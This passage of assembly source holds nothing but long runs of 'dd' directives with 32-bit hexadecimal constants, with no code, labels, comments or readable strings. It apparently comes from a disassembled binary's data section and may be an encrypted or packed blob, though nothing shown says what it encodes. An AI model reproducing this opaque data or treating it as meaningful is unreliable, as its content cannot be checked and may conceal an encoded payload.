0EA09A460h, 0BC3220FFh, 4C297240h, 0F20B2EDFh, 6C82B92Bh dd 5903A6F4h, 682E0989h, 0D2DA6CE2h, 17B29C5Ah, 0B7556F51h dd 9FD4BB9Ch, 287F8D0Dh, 0E804F403h, 0BA0EF180h, 2F423903h dd 45F7F6D2h, 4AC628CEh, 5F01B224h, 1210D686h, 0CC5AB268h dd 3814B6B6h, 5FC17E8h, 47354ECBh, 408057C4h, 0B831FEBEh dd 6AFB80F0h, 53A0475h, 0FAE168E9h, 62EF34CCh, 62C65F2Ch dd 8285C51Bh, 0C49AD8C9h, 0A1608B6Dh, 51B7BF29h, 0DFAB8CF7h dd 79454149h, 4F4E26Bh, 22E31E58h, 702C4E1h, 0B2CD4856h dd 0CB9C5C2Ch, 7402258h, 0BDA9B05Eh, 0AFAC8845h, 0EF5DE927h dd 1F86D930h, 56C7010Ch, 0BE2E52F2h, 73A3CED7h, 0F52F02FCh dd 2C063A6Fh, 314E2540h, 5169301h, 728A51F3h, 0A12D2A20h dd 9F445D07h, 8D522BC4h, 55761A01h, 3060412Eh, 7316B5D1h dd 2954AFFAh, 354FF186h, 207F30A6h, 79B5A811h, 0AECE027Eh dd 0E8D701B3h, 5B3EBA2Bh, 0DE39A039h, 0AE8A865Fh, 0CFAE547Eh dd 59527751h, 532663B4h, 0F9C81EA0h, 83D2C5ADh, 0DF2E74Fh dd 814F005Ah, 963E38EBh, 0DA893917h, 41AA7C85h, 0E9D60122h dd 0E957C6D1h, 0A0CC75D3h, 409A9013h, 71975D05h, 82552F79h dd 77F3BFDBh, 76B5F746h, 0B5AE42AFh, 66D78800h, 1B0F65Ah dd 30FBB2A0h, 0CC8058C2h, 0FA7528BBh, 5B05EA75h, 0B551DAF6h dd 63815F84h, 0BF00B2DFh, 74507632h, 173CCF9Eh, 0F7688C27h dd 56A10D7h, 0E9713D25h, 2D0ED08Dh, 0A0091F56h, 87C10109h dd 7F0BFCE3h, 702E716Ch, 56C20CEBh, 60EC5CB5h, 42C0369Ah dd 5BDE210Ah, 70038B55h, 0BE320139h, 0BD6E5830h, 9F028381h dd 87E1EB17h, 16878358h, 0A8036A53h, 7FE17BFEh, 91B72D7Eh dd 72CA9D79h, 0C61CD211h, 6FB55DBEh, 1A7582E2h, 0C9A7C296h dd 0F92F5D69h, 0DF5CA265h, 326BDAF1h, 7F094855h, 0EB79C0C8h dd 1880578Ah, 1770CC1h, 54004E11h, 4379BE6Bh, 0C351D37Eh dd 140CA208h, 0E92041F9h, 9B006E55h, 0AF27A605h, 0F8290614h dd 0B49BB951h, 0D9F73513h, 51AE008h, 0FE473168h, 0D3B83464h dd 2790CE4Bh, 87D08398h, 50D0BAEAh, 955CB79Bh, 5DC8E9F8h dd 1674A433h, 1F608E07h, 13120A74h, 68694240h, 291601D3h dd 8BC45910h, 13F1F99Bh, 4E92F868h, 0EA9722FDh, 92FE3B79h dd 4CAC61DFh, 7CC12181h, 6B751179h, 80BD094h, 43475F5Fh dd 169B0E27h, 0FCA092FAh, 0A59E8650h, 0A79CFD2Dh, 582F5E97h dd 85E4D68h, 0A3E9AB30h, 2D86AE1Bh, 16774401h, 685B0902h dd 66F9411Ah, 0D60DA88Bh, 3800CBCAh, 5D9C11CEh, 0E02CC0B4h dd 45C0EC17h, 5A181910h, 821ECD1Bh, 7902FB0Ch, 5FD9897Dh dd 83A5BA10h, 55018916h, 19F33041h, 0C43A22B9h, 0E1E18115h dd 0F4E0FB23h, 5A0C9D34h, 936166E9h, 85C1EAEh, 0B4CC9249h dd 0C439F275h, 0D91F2806h, 92372D05h, 0B2C58902h, 0FA77F5BCh dd 0ABD4976Ch, 25960820h, 50E95C85h, 5E25C6B8h, 1B90CED8h dd 0F1C7E525h, 0A7F92663h, 57D070F6h, 4BF017BFh, 0E29BA0C8h dd 5DB1119Dh, 68152C2Eh, 0C714782Ch, 3106006Bh, 9835F574h dd 8C684A3Fh, 0BDBEA4F7h, 0E9AFB560h, 9D4E4B9Dh, 7BA86F57h dd 0FE840993h, 2C29E7F5h, 1A5908C0h, 16FE5D16h, 878FB2ADh dd 0C5A0C72Dh, 51F02951h, 0D3F00705h, 55EB1623h, 9A2F0A5Eh dd 36D5A757h, 0B948B546h, 5281DCE3h, 0A7D4B83Eh, 2F9B3C31h dd 417C4C84h, 2057B835h, 0B1B53B96h, 54E24B93h, 0B02D2DAFh dd 0EA27EF08h, 4DB08235h, 9CF50D94h, 0D40F8AC2h, 0AAC16081h dd 33482A02h, 2FE93FF1h, 9F6DC482h, 681386CCh, 0F6BD03FEh dd 7F2F5588h, 75D6EF0Bh, 50A890AFh, 75E9805Ah, 402181BCh dd 1005F19Ch, 80AB1450h, 9686E9FCh, 48D0D39Dh, 1268E16Eh dd 0B8658B61h, 6BB37C78h, 0C132F75h, 54362DD6h, 90576133h dd 6B560FCAh, 0DF497E62h, 6C541883h, 29591009h, 0CBA982F9h dd 2E2E49Ch, 41886982h, 93F1EE01h, 0E1A2554Bh, 0D1D5BC0Ch dd 0DBF66084h, 2FB8CBFEh, 0EB30BD03h, 2DD82059h, 52F1AB7Ah dd 0E69927BCh, 0E9570882h, 0EE92DF5Ch, 0BA0256AAh, 0C2F1CE04h dd 684D0312h, 0BAE50A71h, 0D892261h, 19F23D8Bh, 2DF621F8h dd 80E68D4Ah, 7A58C180h, 0E9120AAFh, 3A35A1ACh, 7D914280h dd 0BD1D791Bh, 965457Eh, 2FE98E20h, 3261C9D0h, 6429782h dd 0B7FD14F5h, 0BD621171h, 21DE48ACh, 355197F9h, 4601E961h dd 0C386C762h, 197A9BAh, 0DF3FE5C8h, 9578A06Ah, 44009FA4h dd 121077Ah, 7FBA52FEh, 1C383FCCh, 57CDCA03h, 0C040E15h dd 70774A92h, 3F6C4F01h, 9BA14039h, 5E4F7805h, 7DEE32D2h dd 685F9EA0h, 6FE14425h, 27B1B5ECh, 879C3B80h, 9984C050h dd 0B8495860h, 55A0CE01h, 8742DC4h, 846B1F61h, 407136Ah dd 4FABA1Bh, 0E3AA2C33h, 0B03610BEh, 0EC1A8130h, 653E5A3Bh dd 0C909905Bh, 3E89876h, 53886C8Fh, 2E03C783h, 227554CFh dd 260C022Eh, 0F705172Dh, 0EC07D5F4h, 0CAC6B5Eh, 0B231737h dd 0E9A40482h, 2804D171h, 7E8ADCF3h, 914519BFh, 7DDA63C1h dd 0C813DCEh, 0DCA9A55Dh, 1BE986D6h, 8A80A6B7h, 0E43D575Ah dd 9F79924Dh, 8EAF0852h, 8DEC4BEAh, 0F1F5E9C5h, 0E3006F97h dd 30ED6673h, 4C140205h, 0C701502Fh, 50985B4Ch, 737A3E0Bh dd 3086F434h, 3A75EF5Ch, 0F731FC17h, 0A945AE09h, 9DB4564Fh dd 784D66E1h, 57B8C329h, 0D497AF70h, 0D3775ABAh, 1A35A60Ch dd 0AE76B740h, 0F1AF4F89h, 2464261Ch, 19DD25ACh, 79D0BF33h dd 98F0FE60h, 953C7640h, 5520D214h, 0C1801CD5h, 7DF1C18Ah dd 287AEF68h, 0CE8881C8h, 2DD35351h, 0B95AF9F0h, 0B7408390h dd 10F9B75Dh, 43286805h, 0E6B874FFh, 0EBE6122Ah, 4DDE43FCh dd 2B56C519h, 4760CEA5h, 61CB4186h, 0A9BD7A43h, 0CE61BFA4h dd 8A3A69BAh, 8F425A7h, 0CE27EF9Fh, 0BC12D7B5h, 0CD4E150Dh dd 5F2D787Ch, 6B65D62Eh, 0E9C72F54h, 2D01CC54h, 0ED793CACh dd 0D35DDA5Bh, 0B06544E6h, 0C6C197A3h, 37572F70h, 950B1DF0h dd 1E9E0398h, 936B9A3Eh, 0E320F490h, 0FB4643F2h, 0F05ACB6Ch dd 1EC2DD71h, 0CC485968h, 119C25C5h, 0C5A163CEh, 2F887A3Eh dd 0AA5400F8h, 335250Ch, 0E9277A63h, 579B09FFh, 1288E745h dd 0C3310FAEh, 45500896h, 0D8D9E961h, 8500D339h, 4809CA72h dd 25FC5240h, 0A7901A5Ch, 0CD656DB5h, 0F6EF44FBh, 0EFCAEB51h dd 815E4F7Ch, 22535CD1h, 2A210B8h, 0B630B707h, 5BFE02AAh dd 2809A1DEh, 0DB7B62C8h, 0B0E9C281h, 5D19E957h, 0EDCEB15h dd 0A0882FE9h, 0A8C2E213h, 0DA62104Ah, 80598274h, 0D8FD72F1h dd 80CBB520h, 3D93585Fh, 4AA7D83Eh, 0E9E7B7BCh, 0B7F8657Dh dd 0F481F4C5h, 87A4FE0Bh, 48C5424h, 79C055CBh, 801EF6B7h dd 0B8B44E7h, 801DCB3Bh, 0C1404107h, 0E252210Ch, 4078215Bh dd 0F009D550h, 0D1E95D08h, 3C680725h, 4CDF0914h, 9DE09A9Ch dd 7368F059h, 13FFF516h, 919BEFBCh, 0B323E90Ch, 214A5910h dd 88B5F9ECh, 0EF48BDE1h, 2CF1D154h, 0D625E0E9h, 0E8E9D8D0h dd 0C6210C41h, 268426B9h dd 0EE012C74h, 81A2694h, 0EDAC551Ch, 60EB018h, 2D032E14h dd 0E22AF25Bh, 1168A18Fh, 3BD4F33Fh, 0B6E6B7E9h, 0EFC105E6h dd 959CB7ECh, 0D0042CCAh, 67C01EC1h, 0F92831B1h, 0B450075Bh dd 8389B6A1h, 0CED858E6h, 14A75E9h, 5AFA57F4h, 0AE8744BAh dd 0F80112A4h, 1AD3664h, 67C9536h, 0B8381AE6h, 63B2419h dd 1110C10h, 41AF4CF1h, 1E782A40h, 77F759E9h, 1BDBBE03h dd 0DEC835F8h, 514CEED1h, 4AAA3838h, 87EA77AFh, 0BFDCF4C1h dd 1A193DF4h, 3A266C4Ch, 46045FFEh, 2DAE38E9h, 0E0A63BD6h dd 5102804h, 2624B358h, 7B004151h, 0E90AB164h, 0D4BF4F16h dd 268E8257h, 7525DE59h, 5CAF042Fh, 60CEB936h, 1EF681C8h dd 9A7D277Fh, 6D20F952h, 4C23BDA7h, 0BA847C96h, 0EE9667F3h dd 1D66CD2Ch, 12E779BFh, 0EB57BA31h, 9C0A7DBBh, 0D5E5F82Ch dd 11E06912h, 3F50E254h, 7624FDA2h, 0F20465DDh, 3BB0FE9h dd 0C0F780F9h, 0FE05EF88h, 0F9BC80A0h, 1E3F4A81h, 0B0F24B18h dd 1EC2299Bh, 0E608695Fh, 0A571F62Fh, 3BFFD9FAh, 53D24DE3h dd 8B21BB11h, 0F510AAE4h, 0E20E4E63h, 0C95E2D1Ch, 22FE827Ch dd 0E6045E5Fh, 801890C0h, 20C63E6h, 0E9C626FEh, 2E9225FEh dd 305CBF42h, 66535207h, 0D9B1B233h, 0F72FF4FDh, 605A7BE2h dd 0FF5DD709h, 68594600h, 0AB9B5E1Fh, 9116619h, 0BDDEF02Bh dd 0B54FC60Bh, 0D8E1A047h, 2FE9EFF5h, 0BAAE26C7h, 0CDF16CE9h dd 1528B003h, 25CF7F25h, 58649792h, 0C9E971B7h, 0CCC26002h dd 3B72F30Eh, 3FE918EFh, 0E16D81F1h, 37266739h, 2B36C0DAh dd 892C14AEh, 0EC18AACBh, 0CF1296Bh, 60BA7413h, 2F8B4008h dd 6E005078h, 517D6A6Bh, 5106853h, 5B097B27h, 518A8D1h dd 3A179D9Bh, 57E032F8h, 0CE5F01E9h, 13D3EAEDh, 2038FEF8h dd 0AED05542h, 0F557BAD3h, 0C2DEC225h, 0D0D25922h, 3C18817Eh dd 70404D5Eh, 67E2F23h, 9A592240h, 0D8860382h, 0C2431609h dd 3B8BB158h, 5619418Ah, 7D8605Bh, 0F5FB4865h, 0EECB432Fh dd 40553AB9h, 69A2DEA3h, 0CF210C0Ah, 0BB018C59h, 1AFA7DEEh dd 0EC5B8343h, 0B5FF2ACCh, 0CD875002h, 0B030F1DCh, 985A25A2h dd 14D6F6C4h, 0BD37B475h, 0E2F61E20h, 0C52E8809h, 13060427h dd 7F467E82h, 3097C07Ah, 0BDF55783h, 49597410h, 7FC330B5h dd 0FED2584Fh, 93C4562Ch, 84F1FC5Bh, 359331D0h, 4AB8BAF9h dd 0EDAC0331h, 0F7679030h, 0D644BF89h, 514A4DB2h, 0F07CE021h dd 0E4EBB854h, 0A841FCCEh, 0D495802Eh, 97C4512h, 3B431A2Fh dd 714BD937h, 4B4AD948h, 2A80894Eh, 7CFCD3E1h, 0BB7F0011h dd 80EE8393h, 0C59FCB01h, 0E7078878h, 3C007D25h, 4B525CC2h dd 64385A7Eh, 70F64E45h, 1DB6B91Dh, 0E1C14B19h, 0EB059CFCh dd 81004C7Ch, 405073F6h, 1EFDA071h, 68C00934h, 0B08F129h dd 0EED42508h, 12CFD3ADh, 68978054h, 65B5565Ch, 49D9A61Ch dd 5F16E2DCh, 4A7504B8h, 252BEF3h, 10AD370Dh, 1C5A8400h dd 0BD0E5B64h, 23A0041h, 0F0E94186h, 5292BFF3h, 30CF5F7Eh dd 1AF73C2Dh, 0AEE88079h, 4B286A47h, 50AEAC5Bh, 7048DADh dd 53E94C3Ah, 0FB3B17EAh, 4B7350DEh, 58F263E3h, 0CCAAEBDh dd 51C9680Bh, 7E2464E6h, 5565C3CCh, 0EA0482h, 0CA0765BBh dd 302E267Ah, 0DFB47370h, 0DEAB7E95h, 123D48ABh, 39EF5126h dd 37B96FC1h, 0E5A7A818h, 2016F1CDh, 69E82F15h, 0ECF41396h dd 4CADE346h, 0B99780A9h, 0FC1451C7h, 4E481715h, 450F48A9h dd 3F0F2108h, 2BB9F087h, 422D478h, 0E03A8E40h, 0DB092DD7h dd 4659523h, 7F38086h, 0A6573613h, 9A4410Eh, 0F70D8A70h dd 5E96F9D7h, 6858D541h, 8C6B549Bh, 14BD0168h, 21E926C0h dd 55D80C1h, 53D208E2h, 2DC80114h, 0C275107h, 0CC531B5h dd 0A54003E9h, 27135635h, 652D0E2Ah, 5096F878h, 68C0B7A6h dd 29542EB4h, 8AEEC09Dh, 1D6F2D46h, 62F70FD8h, 25575826h dd 9C712231h, 3194FDE6h, 0A00D1B20h, 9EBA77F1h, 86698850h dd 5376806h, 63C7240Bh, 79E962C5h, 0D055F96Ah, 74ED4CB4h dd 0EE498217h, 813A2C4h, 8F0A1004h, 31ADBF00h, 0C19774DEh dd 14F94FC2h, 75FDA87Ah, 0B3E6DBDh, 62E867E9h, 776FF8F3h dd 1B2D6504h, 2F681F2Ch, 159876AFh, 0D9301D7Ch, 338CAE2Eh dd 0E62176CDh, 4F3A12F3h, 4EA7B80Ch, 0F71687BCh, 0A1FC12DDh dd 0CB616F57h, 8B7B81F4h, 68AB610Fh, 172618DAh, 1370A210h dd 0EEF0FEE9h, 0A75EB75Ch, 7404C624h, 0E1820220h, 8222D44Ah dd 53DD2EA3h, 0BB7C307Fh, 7BDFC5Eh, 0F1E38115h, 0C1CEDE56h dd 703CDh, 0BE04728Fh, 34A8FCA1h, 0EFB03144h, 4478392Dh dd 89555A60h, 21C23B18h, 6E71CABDh, 25717482h, 2FAC1B93h dd 0FEBD0708h, 0AEC66476h, 0D4E31499h, 0A50A0C58h, 0F64CC925h dd 0C46E0B95h, 0AA092616h, 7F591B5Eh, 0AE62222Eh, 9F5840Bh dd 3CEEF76Eh, 0A34AE970h, 64C414B8h, 97B81652h, 0CD0C0F48h dd 0D63CFA2Ah, 0CE8102A0h, 0B4110505h, 0E5BB4E6Ch, 598B306Ch dd 575A74B4h, 16622AF9h, 5B195DD0h, 0FD7FA580h, 3AC84FBCh dd 9CAC1DDDh, 5868ED2Ch, 532F081Ah, 0C03D6249h, 5E8E547Eh dd 72C5A0ACh, 29415F1Dh, 882A9A8h, 0BF1ECCF4h, 600E960Bh dd 9FE6D1B6h, 0DEF449h, 4B29E46Bh, 7FC54B69h, 0DE2D0BC0h dd 3B5C4E07h, 0D5F2E405h, 43455109h, 0F68D1068h, 4C4909A7h dd 15ED0267h, 0C66D0CD2h, 0C38AD002h, 0DEF531D9h, 387570F0h dd 0B1137A24h, 0A1684502h, 8B1FD934h, 4C4554Fh, 2C862C8h dd 301C3BFh, 5F1F8E0h, 0D78018BDh, 0C7189D13h, 260287C7h dd 0F9315168h, 4E40DD5Fh, 0F1B5D79Ah, 0B87FA741h, 84B850D4h dd 8C46E918h, 7D415D7Bh, 81589D54h, 2514BEA0h, 0FF291D2Dh dd 6272F020h, 1F51633h, 9389B0D5h, 0DD0006E6h, 46AD6BDCh dd 58B05097h, 0DB209652h, 2B326814h, 0E3B3CFB1h, 507EBC0h dd 0E3800606h, 5D0EFE26h, 0F8C5E19Ch, 0EDF0CDFEh, 0FCE91287h dd 0A6C2AD63h, 59580008h, 0CA685155h, 135AEF38h, 4B73BC55h dd 0C04BC23Ah, 1BBF57BEh, 3CE46E0Fh, 48E32647h, 0BCEB0533h dd 0F937D562h, 2D08418Ch, 89902D2Ah, 0A52B5F19h, 98918DD8h dd 6BB8F5A7h, 6825D5F7h, 6848DE12h, 2568C812h, 0C9208D16h dd 2D697CBh, 0A34942h, 0E3D1DBF7h, 1480BAC1h, 0E56166F6h dd 0C57AA5B4h, 85DD8011h, 0E5EE4D4Bh, 257B0F13h, 3FF070F0h dd 1257993h, 310EF409h, 0AB6E1EA0h, 0B90F517Dh, 0B334069Fh dd 57964901h, 9520442Fh, 7407164Ah, 99D50A69h, 70FC40E0h dd 79B82342h, 8ABC1F0h, 9ADBA2CCh, 0FC482F7h, 0EEABE9F0h dd 177532DDh, 0AC143C40h, 49157BC3h, 0B8016817h, 38C95DFCh dd 0B0A4EC55h, 5BDD4FC0h, 780D5F6h, 0EDC00FCDh, 30606E05h dd 47E9E828h, 0B87507BDh, 2B875890h, 0C918CFD1h, 29BD0270h dd 0C012DE4Eh, 4A6BCAA5h, 8D4CA069h, 95435913h, 0A4B187AAh dd 0F5EAB427h, 0EB690A02h, 0FFCD8703h, 0ECC98FAh, 7E722045h dd 6F4048A8h, 0B893CB27h, 5D3CBE2Dh, 5B542910h, 0D8CA029Eh dd 0ED94772Dh, 49386817h, 6C0D6FCh, 0E9E4B151h, 0FA79A027h dd 24037859h, 0BED423DEh, 1326D9CCh, 0BE7D12E3h, 35BF4464h dd 7DC1ADB1h, 6F3A7CB5h, 2F095489h, 8641F143h, 17AE26D2h dd 1E607B03h, 245F7AD0h, 70F595Ch, 194F1692h, 47C144E1h dd 8561CE9Bh, 7001A20Ch, 69B1022h, 1528B9E0h, 68360978h dd 987D488Bh, 28320946h dd 79A3DB8h, 9C6CD2EFh, 2815C244h, 349DE479h, 2DEA5B78h dd 0A9C6FC74h, 0EE816296h, 0F4499C8h, 2DBD6F1h, 2577F69Dh dd 0BF607C89h, 0E1257412h, 0A0A05E70h, 40E91808h, 96F533AFh dd 6A3B3612h, 30CD980Ah, 16D73E82h, 0E104573Dh, 2D9AD20h dd 561A10F2h, 97F17492h, 0E14B33C1h, 177066F8h, 0E299E927h dd 608FD4E6h, 9F71F8C8h, 0AD404EFEh, 0E180BBAh, 0CBF558A8h dd 14AE798Eh, 8BEBD9BFh, 68079020h, 6C1A1536h, 81710A2h dd 2BB709F6h, 0BF549E55h, 0D7628359h, 4916F709h, 756B629Ch dd 0E9B03664h, 0B2474002h, 0C895E90Ah, 0C69BE8Ah, 0B8083C2Dh dd 0B4280BEEh, 0F7649631h, 92AC66B1h, 0A0BD84h, 351E8A2Dh dd 0D031397Dh, 4A08C230h, 9202D2F7h, 455F780Dh, 4DCB401Dh dd 319695C1h, 5A3D5B48h, 7C4C3FF7h, 5055C25Eh, 562F8295h dd 0C7597ACFh, 7F5C6884h, 290A30AAh, 674A7763h, 8F4F67FBh dd 5A8E392h, 22C377E4h, 7444081Eh, 0ACB965A5h, 275E5506h dd 44ECD80Dh, 0DD32A425h, 0EE5B6605h, 680BFFE3h, 0EC591FF7h dd 6D51DE84h, 0D4957C82h, 5350164Bh, 39CFBFB7h, 0B5E87B7Ah dd 0BD6A4D51h, 0DD34F52Fh, 0DA66E912h, 3424DBEEh, 0F4045566h dd 68029FC9h, 9FB14718h, 61E83A33h, 0A45F4EC1h, 86834301h dd 7B3EDFB1h, 0F30290B8h, 12300F0Ch, 5C20F2Fh, 71802D4Bh dd 5C5258B3h, 0D5517966h, 1C8B0801h, 0E9612C6Ah, 4E48A34Dh dd 0C5739899h, 0F265B716h, 0D2B4804Fh, 0CB9183E9h, 22D5E815h dd 0BCDC389h, 74E10057h, 5AF7317Eh, 2452BFD7h, 0CB0A67BCh dd 0DD7EA14h, 31186D77h, 5A6307Dh, 74F9D49h, 0EE23E87h dd 5DB88EA5h, 396EB902h, 0E2DF067Dh, 8F7955A1h, 12EBD945h dd 70EF254h, 3370236Ch, 3A858DE6h, 449E3ABAh, 0F025931Ch dd 0CA1E30D4h, 2748D9F6h, 0C95E1F9Bh, 622750C5h, 535922CBh dd 0C26FC05Dh, 5E0A5C01h, 83A15551h, 9ED308F6h, 27097027h dd 0C6545BF2h, 0F1FAC00Bh, 8711424Bh, 49A82409h, 0EB0288A9h dd 96D08B9Ch, 0A03E9476h, 0F8891EDDh, 0B3F30C57h, 44972110h dd 9018C7F2h, 0C65F0BACh, 9EA1ED99h, 0EE80AD93h, 56254B41h dd 891DDCA1h, 75FB09E9h, 76B52A96h, 79D62D5Ch, 50277C7Ah dd 0EB09F781h, 2B0672h, 7F771907h, 175B015h, 632647EAh dd 47E64E9h, 8A809004h, 38C8DED6h, 0EC5F382Dh, 5652B010h dd 34860B68h, 8F7835A9h, 890F8465h, 0D5D873BFh, 64F0138Ch dd 7B691099h, 4AA10B31h, 63987D4h, 0AD38F749h, 470B34BDh dd 204D69E2h, 68E0E553h, 7E809FD2h, 53B03DF0h, 893B659Fh dd 0D0527F3Ch, 4F1FE0B5h, 0A81B4B11h, 0A5DE6225h, 0E821031Ch dd 1AFA05C8h, 2D319002h, 0DF7235F3h, 25B099E0h, 0E92BAB05h dd 94217D89h, 0CC7F8FEDh, 0EF32B0A3h, 7AAEEA51h, 0F805202Fh dd 1B4582BDh, 5B680107h, 0E86FE532h, 73917338h, 0F117560Bh dd 42782DCEh, 0ED3D2F0Fh, 0A596E576h, 7A5579BFh, 6E7A2521h dd 0C0D9B503h, 7150FEEDh, 171DC53Ch, 0EE03E5h, 0F52820E1h dd 0EC7013E9h, 7A1C7E97h, 0B0BF92D2h, 829C3DB6h, 0E89D5C86h dd 0BD718F4h, 3F5BD9EFh, 0E386128h, 0E941841Ah, 0A882A9EAh dd 2567BD51h, 0A9DE850Bh, 0DAE5DD7Fh, 516EF4C2h, 0D21B9475h dd 0C8FE0905h, 0A3986C0h, 284C9BE6h, 0CE800E9Bh, 7CF66750h dd 0AEA2F395h, 0D833E0C4h, 83BF3BDDh, 0FB16B9DAh, 0AC80DCF8h dd 5A88556Fh, 12A9D465h, 6802BE08h, 0F8672D72h, 0B61D30A6h dd 7E7C140h, 9CCC2CC1h, 0C53BB1E0h, 0C405E8D4h, 0B80FCECBh dd 14503522h, 20D8965Fh, 1613010h, 580F0540h, 0A62F61E9h dd 0A1E90B90h, 0C1B39C53h, 0D05DFA2h, 0FA25CC26h, 88D9F232h dd 0C90ED158h, 0B976C284h, 2D538D6Ah, 0B71E75F8h, 62909B46h dd 5E27F84Bh, 5556D332h, 57A8535Ch, 8980083Bh, 0BDDF6C3h dd 8C06D55Ch, 0C0120622h, 0AAE00EE9h, 97E4B558h, 0F0190097h dd 0F02D1807h, 0A7049547h, 0D42909F4h, 68E97826h, 0DEF638E3h dd 7DB0A657h, 494677B1h, 0B903E821h, 3DAD657Bh, 0DCA24CD2h dd 0E07D015Eh, 618766h, 0F5814899h, 605B3C29h, 5088E927h dd 675E4983h, 0A0EE7C6h, 0C0B70F09h, 6F1E0466h, 758380E8h dd 0AF8CFF9Bh, 20E9A93Ch, 68259E63h, 0C0E99BCCh, 4F1B7606h dd 0A535AA36h, 0CBEC04EEh, 0E194EFFCh, 0E970D0FAh, 67B494EAh dd 68629060h, 0C1894F47h, 24ADC007h, 702E053h, 9BBD4D05h dd 0B178D519h, 0BCA01626h, 5DB7D1C2h, 25BDFF79h, 48E6E4E5h dd 0A63A9358h, 90780310h, 0DDB34A08h, 871BB4D3h, 0DE31C540h dd 54C40928h, 0B281C9FCh, 0BEC18078h, 2FE0069Ch, 0EF3A68F6h dd 5A666506h, 0F62C2FC6h, 71765E99h, 7EC80FB9h, 0BBA592A2h dd 0F7505449h, 0E924051Eh, 0DCA71217h, 4E082DC1h, 2EC404AFh dd 5102BBB8h, 0C0BA77E3h, 8357D927h, 9A7662E7h, 0CA59525Dh dd 8BB689EFh, 33D5CF98h, 0D7A6CAD0h, 83695CD1h, 859D6547h dd 85BFF6BBh, 71FA59E9h, 9E6DE33Bh, 4F38EAC7h, 8FCD54BBh dd 0EEDC404Eh, 52F72B4Dh, 68250176h, 0C0917EBCh, 15461F50h dd 19E5C95h, 0B84ECBFDh, 2EE7C1E9h, 9C419641h, 0C12A49D3h dd 70505FF0h, 209DEB05h, 0ED4FD0F6h, 0E6810220h, 2EB91BFDh dd 6E3340D7h, 0AA40E373h, 2FFA479Bh, 0FB5E4E2Ch, 15A084C7h dd 4EDFE909h, 7A449996h, 171C0B8Ch, 9D602F12h, 0E90601E2h dd 0D2167B29h, 7C3B74F1h, 0BC5BFA4Ch, 2D21BDC8h, 0BFDCC07h dd 2735CB55h, 72D96154h, 0E90CB825h, 2A4E417Dh, 0E44F24CBh dd 8354E9D4h, 26EF5FD6h, 0F38C36B9h, 98E3EE84h, 504F5AE8h dd 2A7D08B1h, 181479B9h, 0CA276B4h, 6137DF1h, 0CFEC613Eh dd 0A9590885h, 0B358A8Ch, 8BFF0C97h, 42BE2F02h, 4EE79C44h dd 5CC709C4h, 4A3B61DBh, 0BC4EB8E8h, 96EC5B89h, 0AC2105B4h dd 0E196BCF6h, 5060D821h, 0FD7BE5E8h, 6D56CCB1h, 0BD16FF7h dd 26F031A7h, 530908C6h, 1A121368h, 7D80C069h, 7EE52F4Dh dd 7C199347h, 0B16A891Fh, 0AD6238DCh, 5F072564h, 8B0DF25Eh dd 0C01B765Bh, 88513DB2h, 0EB4BD572h, 0E32768CBh, 2B5419E1h dd 400655C8h, 0D17B8831h, 85D971C4h, 59CEBB00h, 5998A6F8h dd 4BE8324Eh, 45345C4h, 0C0BFEED1h, 0D2E54E97h, 34E7697Eh dd 0E046852h, 8B564338h, 30C467BCh, 3BADA5C8h, 0A4ABB635h dd 26276844h, 4F77E661h, 42260ADBh, 60A51A88h, 0F48832DFh dd 7A49BDDCh, 4714BD04h, 6BE7C106h, 39FF6DD3h, 5B4597E3h dd 0FA5F52A8h, 75AD7440h, 4D4FE9E4h, 0BD02CEA4h, 19B4CEC2h dd 54B809D7h, 7EDC2708h, 6A23F681h, 226065AFh, 25E697A2h dd 983F4F20h, 41FF030Eh, 0DFF7F987h, 0A457082Eh, 4E3BBB00h dd 0AA26E96Eh, 4275C187h, 290F4878h, 0F0CB5AD7h, 9F83090h dd 0E1BDDD25h, 0EC7B89E5h, 2FA0B61Dh, 6A50F021h, 98AE949Dh dd 0F071970Dh, 0DDBB8FC7h, 3834F745h, 68C04DE2h, 2C5F50B1h dd 0E2005A7Fh, 29BB0863h, 9EF75242h, 0F849935Eh, 6D60E98Eh dd 9DFAA644h, 424A76E0h, 953E758Ah, 286551B7h, 70A12732h dd 6CBEAEE4h, 0D3A2903Dh, 4683B4Ch, 77D01F2h, 3F09416Eh dd 744C8BD0h, 0C766084h, 1AB03DD2h, 9BD1012Eh, 8ABA52C0h dd 0F9D2E07h, 6D8A3AA1h, 2EE025Eh, 280142B6h, 68618DD5h dd 56243AE3h, 0E96ADF82h, 0FAA76FEFh, 93247257h, 20B91C57h dd 0A8C163AEh, 19DB7951h, 476567Ah, 18DE5201h, 0B5951ADCh dd 0B420B415h, 58FF520h dd 6619ACBEh, 0C5E0FF10h, 2FC0944Dh, 7697CCD0h, 75541335h dd 12A3008Fh, 0E90A8A2Eh, 4E77CD31h, 9D3F5F54h, 0BC543052h dd 62833FBCh, 0D9EEB07Ah, 24928061h, 4181E05Bh, 0FE92B141h dd 9DC0915h, 0ED519B78h, 0EAE50408h, 0B099B7A7h, 382E6A42h dd 25AF34Bh, 746909BBh, 5B58603h, 0E501970Dh, 63FFB1E9h dd 76F405D9h, 8AB22C55h, 0BA841F5Ah, 2092365Bh, 0D25AA2B4h dd 110162B2h, 0BA7C3DE9h, 65FF0912h, 3ED1FE65h, 84C36832h dd 0E5E9395Eh, 0E9902296h, 0DCD8172Fh, 0ADEF5026h, 95D526BDh dd 3E514820h, 0F9DFC115h, 3088D25Ah, 0B6A1D950h, 0EB8C7A57h dd 44F95AE9h, 8D43505Dh, 169B00CCh, 94B8AB2Dh, 8208ED3Fh dd 0E5E936D8h, 0C0E57D6Eh, 0F5493E3Fh, 5E1C114h, 15C52681h dd 0B4D6B19Fh, 59CCFC01h, 0E97AD4F6h, 42D3E44h, 48192532h dd 0FD22CEFh, 1266127h, 34672BA5h, 6EF8E9E4h, 0CCC4E3A8h dd 0B630AA55h, 4720AF7h, 0DF6842BAh, 3879CF75h, 0F7A12DE9h dd 0C36AD0A2h, 9DFCA472h, 5B1AD664h, 63D13E2h, 0F4ECB85Eh dd 8B52CACh, 4916C694h, 96B03AF8h, 38099018h, 0F25EF109h dd 1AE303D9h, 58513BDBh, 46BEDE10h, 45AA6802h, 0F15711B2h dd 0F46E971Dh, 0FCE1F598h, 0C29743DBh, 7D9B4A37h, 0EBAB8F47h dd 51B40517h, 0F2D84C01h, 0BECE004Bh, 339F5969h, 0B3AAD0F4h dd 0B77AD057h, 108522E8h, 9FC82980h, 572461C3h, 0BF122D4Eh dd 5B14D2AEh, 69A055FAh, 8180C23Ch, 0F47579CFh, 7DDEA011h dd 14CB3069h, 6A0F9A0Ch, 0F2C0094Fh, 7DBC0520h, 2CE10F5Eh dd 9B34E93Ch, 